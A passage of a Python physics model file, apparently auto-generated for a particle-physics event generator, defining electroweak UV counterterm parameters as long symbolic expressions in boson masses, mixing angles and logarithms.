(4*(2*MT**2 + MZ**2)*Ncol*(-3 + 8*sw**2)*(MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))*reglog((-MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))/(MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))))/MZ**4 - (4*(2*MT**2 + MZ**2)*Ncol*(-3 + 8*sw**2)*(MZ**2 - cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))*reglog((MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))/(-MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))))/MZ**4 + (18*(cw**2*(32*MW**2 + 19*MZ**2) + (8*MW**2 + MZ**2)*sw**2)*reglog((-MZ**2 - cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)))/MZ**2 + (18*(cw**2*(32*MW**2 + 19*MZ**2) + (8*MW**2 + MZ**2)*sw**2)*reglog((-MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)))/MZ**2 - (9*(cw**2*(32*MW**2 + 19*MZ**2) + (8*MW**2 + MZ**2)*sw**2)*(MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))*reglog((-MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))/(MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))))/MZ**4 - (9*(cw**2*(32*MW**2 + 19*MZ**2) + (8*MW**2 + MZ**2)*sw**2)*(MZ**2 - cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))*reglog((MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))/(-MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))))/MZ**4))/(864.*cw*cmath.pi**2*sw))'+'+'+dMB_AZWcft_UV_EW.value[0]},
texname = '\delta Z_{AZ}^{EW}')
ZAWcft_UV_EW = CTParameter(name = 'ZAWcft_UV_EW',
type = 'complex',
value = {-1:'(ee**2*MW**2*(cw**2 + sw**2))/(4.*cw*MZ**2*cmath.pi**2*sw)',
0:'-(ee**2*MW**2*(cw**2 + sw**2)*reglog(MW**2/MU_R**2))/(4.*cw*MZ**2*cmath.pi**2*sw)'},
texname = '\delta Z_{ZA}^{EW}')
AAWcft_UV_EW = CTParameter(name = 'AAWcft_UV_EW',
type = 'complex',
value = {-1:'(ee**2*(81 - 16*Ncol))/(432.*cmath.pi**2)'+'+'+dMB_AAWcft_UV_EW.value[-1],
0:'(ee**2*(9 + 16*Ncol*reglog(MT/MU_R) - 81*reglog(MW/MU_R)))/(216.*cmath.pi**2)'+'+'+dMB_AAWcft_UV_EW.value[0]},
texname = '\delta Z_{AA}^{EW}')
eCoup_UV_EW = CTParameter(name = 'eCoup_UV_EW',
type = 'complex',
value = {-1:'(ee**2*(cw**2*(-36*MW**2 + MZ**2*(9 + 20*Ncol)) - 36*MW**2*sw**2))/(288.*cw**2*MZ**2*cmath.pi**2)',
0:'recms(CMSParam==1.0,(ee**2*(162*MW**2*(cw**2 + sw**2)*reglog(MW**2/MU_R**2) + cw**2*MZ**2*(243 + 110*Ncol - 48*Ncol*reglog(MT/MU_R) + 243*reglog(MW/MU_R) + 162*reglogp(-(MU_R**2/(MZ**2 + vep*complex(0,1)))) + 66*Ncol*reglogp(-(MU_R**2/(MZ**2 + vep*complex(0,1)))))))/(1296.*cw**2*MZ**2*cmath.pi**2))'+'+'+dMB_eCoup_UV_EW.value[0]},
texname = '\delta e')
SWCoup_UV_EW = CTParameter(name = 'SWCoup_UV_EW',
type = 'complex',
value = {-1:'recms(CMSParam==1.0 and (WW != 0 or WZ != 0),-(ee**2*(-18*(2*cw**6*MZ**4 + cw**4*MT**2*MZ**2*Ncol) + 36*MW**4*(-1 + 2*cw**6 - 2*cw**2*sw**4) + cw**2*MW**2*(18*MT**2*Ncol - MZ**2*(39 + 147*cw**4 - 72*sw**2 + 111*sw**4 - 6*cw**2*(31 + 6*Ncol - 37*sw**2) + 4*Ncol*(9 - 18*sw**2 + 20*sw**4)))))/(1152.*cw**2*MW**2*MZ**2*cmath.pi**2*sw**3))'+'+'+dMB_SWCoup_UV_EW.value[-1],
0:'recms(CMSParam==1.0 and (WW != 0 or WZ != 0),(ee**2*(-18*(2*cw**6*MZ**4 + cw**4*MT**2*MZ**2*Ncol) + 36*MW**4*(-1 + 2*cw**6 - 2*cw**2*sw**4) + cw**2*MW**2*(18*MT**2*Ncol - MZ**2*(39 + 147*cw**4 - 72*sw**2 + 111*sw**4 - 6*cw**2*(31 + 6*Ncol - 37*sw**2) + 4*Ncol*(9 - 18*sw**2 + 20*sw**4))))*reglog(4*cmath.pi))/(1152.*cw**2*MW**2*MZ**2*cmath.pi**2*sw**3) + (cw**2*(-(ee**2*((2*(cw**2*(3*MH**4 - 18*MH**2*MW**2 + 3*(MZ**4 - 2*MT**4*Ncol) - 6*MW**2*(3*MZ**2 + MT**2*Ncol*(2 + reglog(64) + 3*reglog(cmath.pi))) - 2*MW**4*(-83 + 178*sw**2 + 93*reglog(cmath.pi) - 114*sw**2*reglog(cmath.pi) - 6*Ncol*(5 + reglog(64) + 3*reglog(cmath.pi)) - 186*reglog(2*cmath.pi) + 228*sw**2*reglog(2*cmath.pi))) + 4*cw**4*(6*MZ**4 + MW**4*(-107 + 66*reglog(cmath.pi) - 132*reglog(2*cmath.pi)) + 9*MW**2*MZ**2*(-6 - reglog(4*cmath.pi))) + 36*MW**4*sw**4*(2 + reglog(4*cmath.pi))))/(cw**2*MW**2) - (6*MH**2*(MH**2 - 3*MW**2)*reglog(MU_R**2/MH**2))/MW**2 - 12*(3*MT**2 - 2*MW**2)*Ncol*reglog(MU_R**2/MT**2) + 6*(MH**2 + (1 + 8*cw**2)*MZ**2 + MW**2*(38 - 28*cw**2 - 76*sw**2))*reglog(MU_R**2/MW**2) - (6*(1 + 8*cw**2)*MZ**2*(-3*MW**2 + MZ**2)*reglog(MU_R**2/MZ**2))/MW**2 - (12*(MT - MW)**2*(MT + MW)**2*(MT**2 + 2*MW**2)*Ncol*reglog((MT**2 - MW**2 + vep*complex(0,-1))/MT**2))/MW**4 + (6*(cw**4*(60*MW**4 + 44*MW**2*MZ**2 - 8*MZ**4) - cw**2*(MH**4 - 4*MH**2*MW**2 + 12*MW**4 - 4*MW**2*MZ**2 + MZ**4) - 12*MW**4*sw**4)*reglog((MW**2 + vep*complex(0,-1))/MU_R**2))/(cw**2*MW**2) + (6*(cw**4*(60*MW**4 + 44*MW**2*MZ**2 - 8*MZ**4) + cw**2*(4*MW**2*MZ**2 - MZ**4) - 12*MW**4*sw**4)*reglog((-MZ**2 - cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))/(2.*MW**2)))/(cw**2*MW**2) + (6*(cw**4*(60*MW**4 + 44*MW**2*MZ**2 - 8*MZ**4) + cw**2*(4*MW**2*MZ**2 - MZ**4) - 12*MW**4*sw**4)*reglog((-MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))/(2.*MW**2)))/(cw**2*MW**2) - (3*(cw**4*(60*MW**4 + 44*MW**2*MZ**2 - 8*MZ**4) + cw**2*(4*MW**2*MZ**2 - MZ**4) - 12*MW**4*sw**4)*(2*MW**2 - MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))*reglog((-MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))/(2*MW**2 - MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))))/(cw**2*MW**4) + (3*(cw**4*(60*MW**4 + 44*MW**2*MZ**2 - 8*MZ**4) + cw**2*(4*MW**2*MZ**2 - MZ**4) - 12*MW**4*sw**4)*(-2*MW**2 + MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))*reglog((MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))/(-2*MW**2 + MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))))/(cw**2*MW**4) - (6*(MH**4 - 4*MH**2*MW**2 + 12*MW**4)*reglog(-1 + (MH**2 - cmath.sqrt(MH**4 - 4*MW**2*(MH**2 + vep*complex(0,-1))))/(2.*MW**2)))/MW**2 - (6*(MH**4 - 4*MH**2*MW**2 + 12*MW**4)*reglog(-1 + (MH**2 + cmath.sqrt(MH**4 - 4*MW**2*(MH**2 + vep*complex(0,-1))))/(2.*MW**2)))/MW**2 + 24*MW**2*(3 + 2*Ncol)*reglogp(-(MU_R**2/(MW**2 + vep*complex(0,1)))) + (3*(MH**4 - 4*MH**2*MW**2 + 12*MW**4)*(MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MW**2 + MW**2*vep*complex(0,4)))*reglog((MH**2 - 2*MW**2 + cmath.sqrt(MH**4 - 4*MH**2*MW**2 + MW**2*vep*complex(0,4)))/(MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MW**2 + MW**2*vep*complex(0,4)))))/MW**4 - (3*(MH**4 - 4*MH**2*MW**2 + 12*MW**4)*(-MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MW**2 + MW**2*vep*complex(0,4)))*reglog((-MH**2 + 2*MW**2 + cmath.sqrt(MH**4 - 4*MH**2*MW**2 + MW**2*vep*complex(0,4)))/(-MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MW**2 + MW**2*vep*complex(0,4)))))/MW**4))/(1152.*MW**2*cmath.pi**2*sw**2) + (ee**2*((2*(-108*MW**2*MZ**2*(-2 + reglog(1/(4.*cmath.pi))) + 6*cw**4*MZ**2*sw**2*(24*MW**2 + MZ**2*(-8 - reglog(64) - 3*reglog(cmath.pi))) + 9*cw**6*MZ**2*(24*MW**2*(-5 + reglog(1/(4.*cmath.pi))) + MZ**2*(-80 + 39*reglog(cmath.pi) - 78*reglog(2*cmath.pi))) + cw**2*(9*MH**4 - 54*MH**2*MZ**2 + MZ**2*(2*(-36*MW**2*sw**4*(-5 - reglog(64) - 3*reglog(cmath.pi)) + MT**2*Ncol*(-96*sw**2 + 128*sw**4 - 9*(2 + reglog(64) + 3*reglog(cmath.pi)))) + MZ**2*(4*Ncol*(9 - 18*sw**2 + 20*sw**4)*(5 + reglog(64) + 3*reglog(cmath.pi)) + 3*(59 - 39*reglog(cmath.pi) - 24*sw**2*(5 + reglog(64) + 3*reglog(cmath.pi)) + 78*reglog(2*cmath.pi) + sw**4*(248 - 147*reglog(cmath.pi) + 294*reglog(2*cmath.pi))))))))/MZ**2 - (18*cw**2*MH**2*(MH**2 - 3*MZ**2)*reglog(MU_R**2/MH**2))/MZ**2 - 8*cw**2*MT**2*Ncol*(9 - 24*sw**2 + 32*sw**4)*reglog(MU_R**2/MT**2) + 72*cw**2*MW**2*(9*cw**4 - 2*cw**2*sw**2 + sw**4)*reglog(MU_R**2/MW**2) + 18*cw**2*(MH**2 + MZ**2)*reglog(MU_R**2/MZ**2) + (2*(-108*MW**2*MZ**2 + 27*cw**6*(20*MW**2*MZ**2 + 13*MZ**4) + 18*cw**4*MZ**2*(-4*MW**2 + MZ**2)*sw**2 - cw**2*(9*MH**4 - 36*MH**2*MZ**2 + MZ**2*(180*MW**2*sw**4 + 2*MT**2*Ncol*(-9 - 48*sw**2 + 64*sw**4) + MZ**2*(9*sw**4 + 2*Ncol*(9 - 24*sw**2 + 32*sw**4)))))*reglog((MZ**2 + vep*complex(0,-1))/MU_R**2))/MZ**2 - (18*(12*MW**2*MZ**2 + cw**2*(MH**4 - 4*MH**2*MZ**2))*reglog(-1 + (MH**2 - cmath.sqrt(MH**4 - 4*MZ**2*(MH**2 + vep*complex(0,-1))))/(2.*MZ**2)))/MZ**2 - (18*(12*MW**2*MZ**2 + cw**2*(MH**4 - 4*MH**2*MZ**2))*reglog(-1 + (MH**2 + cmath.sqrt(MH**4 - 4*MZ**2*(MH**2 + vep*complex(0,-1))))/(2.*MZ**2)))/MZ**2 + 4*cw**2*MZ**2*(54*(1 - 2*sw**2 + 4*sw**4) + Ncol*(45 - 84*sw**2 + 88*sw**4))*reglogp(-(MU_R**2/(MZ**2 + vep*complex(0,1)))) - 4*cw**2*Ncol*(MZ**2*(9 - 24*sw**2 + 32*sw**4) + MT**2*(-9 - 48*sw**2 + 64*sw**4))*reglog((-MZ**2 - cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)) - 4*cw**2*Ncol*(MZ**2*(9 - 24*sw**2 + 32*sw**4) + MT**2*(-9 - 48*sw**2 + 64*sw**4))*reglog((-MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)) + (2*cw**2*Ncol*(MZ**2*(9 - 24*sw**2 + 32*sw**4) + MT**2*(-9 - 48*sw**2 + 64*sw**4))*(MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))*reglog((-MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))/(MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))))/MZ**2 + (2*cw**2*Ncol*(MZ**2*(9 - 24*sw**2 + 32*sw**4) + MT**2*(-9 - 48*sw**2 + 64*sw**4))*(MZ**2 - cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))*reglog((MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))/(-MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))))/MZ**2 + 18*cw**2*(cw**4*(60*MW**2 + 39*MZ**2) + 2*cw**2*(-4*MW**2 + MZ**2)*sw**2 - (20*MW**2 + MZ**2)*sw**4)*reglog((-MZ**2 - cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)) + 18*cw**2*(cw**4*(60*MW**2 + 39*MZ**2) + 2*cw**2*(-4*MW**2 + MZ**2)*sw**2 - (20*MW**2 + MZ**2)*sw**4)*reglog((-MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)) - (9*cw**2*(cw**4*(60*MW**2 + 39*MZ**2) + 2*cw**2*(-4*MW**2 + MZ**2)*sw**2 - (20*MW**2 + MZ**2)*sw**4)*(MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))*reglog((-MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))/(MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))))/MZ**2 - (9*cw**2*(cw**4*(60*MW**2 + 39*MZ**2) + 2*cw**2*(-4*MW**2 + MZ**2)*sw**2 - (20*MW**2 + MZ**2)*sw**4)*(MZ**2 - cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))*reglog((MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))/(-MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))))/MZ**2 + (9*(12*MW**2*MZ**2 + cw**2*(MH**4 - 4*MH**2*MZ**2))*(MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MZ**2 + MZ**2*vep*complex(0,4)))*reglog((MH**2 - 2*MZ**2 + cmath.sqrt(MH**4 - 4*MH**2*MZ**2 + MZ**2*vep*complex(0,4)))/(MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MZ**2 + MZ**2*vep*complex(0,4)))))/MZ**4 - (9*(12*MW**2*MZ**2 + cw**2*(MH**4 - 4*MH**2*MZ**2))*(-MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MZ**2 + MZ**2*vep*complex(0,4)))*reglog((-MH**2 + 2*MZ**2 + cmath.sqrt(MH**4 - 4*MH**2*MZ**2 + MZ**2*vep*complex(0,4)))/(-MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MZ**2 + MZ**2*vep*complex(0,4)))))/MZ**4))/(3456.*cw**4*MZ**2*cmath.pi**2*sw**2)))/(2.*sw))'+'+'+dMB_SWCoup_UV_EW.value[0]},
texname = '\delta SW')
CWCoup_UV_EW = CTParameter(name = 'CWCoup_UV_EW',
type = 'complex',
value = {-1:'recms(CMSParam==1.0 and (WW != 0 or WZ != 0),(ee**2*(-18*(2*cw**6*MZ**4 + cw**4*MT**2*MZ**2*Ncol) + 36*MW**4*(-1 + 2*cw**6 - 2*cw**2*sw**4) + cw**2*MW**2*(18*MT**2*Ncol - MZ**2*(39 + 147*cw**4 - 72*sw**2 + 111*sw**4 - 6*cw**2*(31 + 6*Ncol - 37*sw**2) + 4*Ncol*(9 - 18*sw**2 + 20*sw**4)))))/(1152.*cw**3*MW**2*MZ**2*cmath.pi**2*sw**2))'+'+'+dMB_CWCoup_UV_EW.value[-1],
0:'recms(CMSParam==1.0 and (WW != 0 or WZ != 0),-(ee**2*(-18*(2*cw**6*MZ**4 + cw**4*MT**2*MZ**2*Ncol) + 36*MW**4*(-1 + 2*cw**6 - 2*cw**2*sw**4) + cw**2*MW**2*(18*MT**2*Ncol - MZ**2*(39 + 147*cw**4 - 72*sw**2 + 111*sw**4 - 6*cw**2*(31 + 6*Ncol - 37*sw**2) + 4*Ncol*(9 - 18*sw**2 + 20*sw**4))))*reglog(4*cmath.pi))/(1152.*cw**3*MW**2*MZ**2*cmath.pi**2*sw**2) + (cw*((ee**2*((2*(cw**2*(3*MH**4 - 18*MH**2*MW**2 + 3*(MZ**4 - 2*MT**4*Ncol) - 6*MW**2*(3*MZ**2 + MT**2*Ncol*(2 + reglog(64) + 3*reglog(cmath.pi))) - 2*MW**4*(-83 + 178*sw**2 + 93*reglog(cmath.pi) - 114*sw**2*reglog(cmath.pi) - 6*Ncol*(5 + reglog(64) + 3*reglog(cmath.pi)) - 186*reglog(2*cmath.pi) + 228*sw**2*reglog(2*cmath.pi))) + 4*cw**4*(6*MZ**4 + MW**4*(-107 + 66*reglog(cmath.pi) - 132*reglog(2*cmath.pi)) + 9*MW**2*MZ**2*(-6 - reglog(4*cmath.pi))) + 36*MW**4*sw**4*(2 + reglog(4*cmath.pi))))/(cw**2*MW**2) - (6*MH**2*(MH**2 - 3*MW**2)*reglog(MU_R**2/MH**2))/MW**2 - 12*(3*MT**2 - 2*MW**2)*Ncol*reglog(MU_R**2/MT**2) + 6*(MH**2 + (1 + 8*cw**2)*MZ**2 + MW**2*(38 - 28*cw**2 - 76*sw**2))*reglog(MU_R**2/MW**2) - (6*(1 + 8*cw**2)*MZ**2*(-3*MW**2 + MZ**2)*reglog(MU_R**2/MZ**2))/MW**2 - (12*(MT - MW)**2*(MT + MW)**2*(MT**2 + 2*MW**2)*Ncol*reglog((MT**2 - MW**2 + vep*complex(0,-1))/MT**2))/MW**4 + (6*(cw**4*(60*MW**4 + 44*MW**2*MZ**2 - 8*MZ**4) - cw**2*(MH**4 - 4*MH**2*MW**2 + 12*MW**4 - 4*MW**2*MZ**2 + MZ**4) - 12*MW**4*sw**4)*reglog((MW**2 + vep*complex(0,-1))/MU_R**2))/(cw**2*MW**2) + (6*(cw**4*(60*MW**4 + 44*MW**2*MZ**2 - 8*MZ**4) + cw**2*(4*MW**2*MZ**2 - MZ**4) - 12*MW**4*sw**4)*reglog((-MZ**2 - cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))/(2.*MW**2)))/(cw**2*MW**2) + (6*(cw**4*(60*MW**4 + 44*MW**2*MZ**2 - 8*MZ**4) + cw**2*(4*MW**2*MZ**2 - MZ**4) - 12*MW**4*sw**4)*reglog((-MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))/(2.*MW**2)))/(cw**2*MW**2) - (3*(cw**4*(60*MW**4 + 44*MW**2*MZ**2 - 8*MZ**4) + cw**2*(4*MW**2*MZ**2 - MZ**4) - 12*MW**4*sw**4)*(2*MW**2 - MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))*reglog((-MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))/(2*MW**2 - MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))))/(cw**2*MW**4) + (3*(cw**4*(60*MW**4 + 44*MW**2*MZ**2 - 8*MZ**4) + cw**2*(4*MW**2*MZ**2 - MZ**4) - 12*MW**4*sw**4)*(-2*MW**2 + MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))*reglog((MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))/(-2*MW**2 + MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))))/(cw**2*MW**4) - (6*(MH**4 - 4*MH**2*MW**2 + 12*MW**4)*reglog(-1 + (MH**2 - cmath.sqrt(MH**4 - 4*MW**2*(MH**2 + vep*complex(0,-1))))/(2.*MW**2)))/MW**2 - (6*(MH**4 - 4*MH**2*MW**2 + 12*MW**4)*reglog(-1 + (MH**2 + cmath.sqrt(MH**4 - 4*MW**2*(MH**2 + vep*complex(0,-1))))/(2.*MW**2)))/MW**2 + 24*MW**2*(3 + 2*Ncol)*reglogp(-(MU_R**2/(MW**2 + vep*complex(0,1)))) + (3*(MH**4 - 4*MH**2*MW**2 + 12*MW**4)*(MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MW**2 + MW**2*vep*complex(0,4)))*reglog((MH**2 - 2*MW**2 + cmath.sqrt(MH**4 - 4*MH**2*MW**2 + MW**2*vep*complex(0,4)))/(MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MW**2 + MW**2*vep*complex(0,4)))))/MW**4 - (3*(MH**4 - 4*MH**2*MW**2 + 12*MW**4)*(-MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MW**2 + MW**2*vep*complex(0,4)))*reglog((-MH**2 + 2*MW**2 + cmath.sqrt(MH**4 - 4*MH**2*MW**2 + MW**2*vep*complex(0,4)))/(-MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MW**2 + MW**2*vep*complex(0,4)))))/MW**4))/(1152.*MW**2*cmath.pi**2*sw**2) - (ee**2*((2*(-108*MW**2*MZ**2*(-2 + reglog(1/(4.*cmath.pi))) + 6*cw**4*MZ**2*sw**2*(24*MW**2 + MZ**2*(-8 - reglog(64) - 3*reglog(cmath.pi))) + 9*cw**6*MZ**2*(24*MW**2*(-5 + reglog(1/(4.*cmath.pi))) + MZ**2*(-80 + 39*reglog(cmath.pi) - 78*reglog(2*cmath.pi))) + cw**2*(9*MH**4 - 54*MH**2*MZ**2 + MZ**2*(2*(-36*MW**2*sw**4*(-5 - reglog(64) - 3*reglog(cmath.pi)) + MT**2*Ncol*(-96*sw**2 + 128*sw**4 - 9*(2 + reglog(64) + 3*reglog(cmath.pi)))) + MZ**2*(4*Ncol*(9 - 18*sw**2 + 20*sw**4)*(5 + reglog(64) + 3*reglog(cmath.pi)) + 3*(59 - 39*reglog(cmath.pi) - 24*sw**2*(5 + reglog(64) + 3*reglog(cmath.pi)) + 78*reglog(2*cmath.pi) + sw**4*(248 - 147*reglog(cmath.pi) + 294*reglog(2*cmath.pi))))))))/MZ**2 - (18*cw**2*MH**2*(MH**2 - 3*MZ**2)*reglog(MU_R**2/MH**2))/MZ**2 - 8*cw**2*MT**2*Ncol*(9 - 24*sw**2 + 32*sw**4)*reglog(MU_R**2/MT**2) + 72*cw**2*MW**2*(9*cw**4 - 2*cw**2*sw**2 + sw**4)*reglog(MU_R**2/MW**2) + 18*cw**2*(MH**2 + MZ**2)*reglog(MU_R**2/MZ**2) + (2*(-108*MW**2*MZ**2 + 27*cw**6*(20*MW**2*MZ**2 + 13*MZ**4) + 18*cw**4*MZ**2*(-4*MW**2 + MZ**2)*sw**2 - cw**2*(9*MH**4 - 36*MH**2*MZ**2 + MZ**2*(180*MW**2*sw**4 + 2*MT**2*Ncol*(-9 - 48*sw**2 + 64*sw**4) + MZ**2*(9*sw**4 + 2*Ncol*(9 - 24*sw**2 + 32*sw**4)))))*reglog((MZ**2 + vep*complex(0,-1))/MU_R**2))/MZ**2 - (18*(12*MW**2*MZ**2 + cw**2*(MH**4 - 4*MH**2*MZ**2))*reglog(-1 + (MH**2 - cmath.sqrt(MH**4 - 4*MZ**2*(MH**2 + vep*complex(0,-1))))/(2.*MZ**2)))/MZ**2 - (18*(12*MW**2*MZ**2 + cw**2*(MH**4 - 4*MH**2*MZ**2))*reglog(-1 + (MH**2 + cmath.sqrt(MH**4 - 4*MZ**2*(MH**2 + vep*complex(0,-1))))/(2.*MZ**2)))/MZ**2 + 4*cw**2*MZ**2*(54*(1 - 2*sw**2 + 4*sw**4) + Ncol*(45 - 84*sw**2 + 88*sw**4))*reglogp(-(MU_R**2/(MZ**2 + vep*complex(0,1)))) - 4*cw**2*Ncol*(MZ**2*(9 - 24*sw**2 + 32*sw**4) + MT**2*(-9 - 48*sw**2 + 64*sw**4))*reglog((-MZ**2 - cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)) - 4*cw**2*Ncol*(MZ**2*(9 - 24*sw**2 + 32*sw**4) + MT**2*(-9 - 48*sw**2 + 64*sw**4))*reglog((-MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)) + (2*cw**2*Ncol*(MZ**2*(9 - 24*sw**2 + 32*sw**4) + MT**2*(-9 - 48*sw**2 + 64*sw**4))*(MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))*reglog((-MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))/(MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))))/MZ**2 + (2*cw**2*Ncol*(MZ**2*(9 - 24*sw**2 + 32*sw**4) + MT**2*(-9 - 48*sw**2 + 64*sw**4))*(MZ**2 - cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))*reglog((MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))/(-MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))))/MZ**2 + 18*cw**2*(cw**4*(60*MW**2 + 39*MZ**2) + 2*cw**2*(-4*MW**2 + MZ**2)*sw**2 - (20*MW**2 + MZ**2)*sw**4)*reglog((-MZ**2 - cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)) + 18*cw**2*(cw**4*(60*MW**2 + 39*MZ**2) + 2*cw**2*(-4*MW**2 + MZ**2)*sw**2 - (20*MW**2 + MZ**2)*sw**4)*reglog((-MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)) - (9*cw**2*(cw**4*(60*MW**2 + 39*MZ**2) + 2*cw**2*(-4*MW**2 + MZ**2)*sw**2 - (20*MW**2 + MZ**2)*sw**4)*(MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))*reglog((-MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))/(MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))))/MZ**2 - (9*cw**2*(cw**4*(60*MW**2 + 39*MZ**2) + 2*cw**2*(-4*MW**2 + MZ**2)*sw**2 - (20*MW**2 + MZ**2)*sw**4)*(MZ**2 - cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))*reglog((MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))/(-MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))))/MZ**2 + (9*(12*MW**2*MZ**2 + cw**2*(MH**4 - 4*MH**2*MZ**2))*(MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MZ**2 + MZ**2*vep*complex(0,4)))*reglog((MH**2 - 2*MZ**2 + cmath.sqrt(MH**4 - 4*MH**2*MZ**2 + MZ**2*vep*complex(0,4)))/(MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MZ**2 + MZ**2*vep*complex(0,4)))))/MZ**4 - (9*(12*MW**2*MZ**2 + cw**2*(MH**4 - 4*MH**2*MZ**2))*(-MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MZ**2 + MZ**2*vep*complex(0,4)))*reglog((-MH**2 + 2*MZ**2 + cmath.sqrt(MH**4 - 4*MH**2*MZ**2 + MZ**2*vep*complex(0,4)))/(-MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MZ**2 + 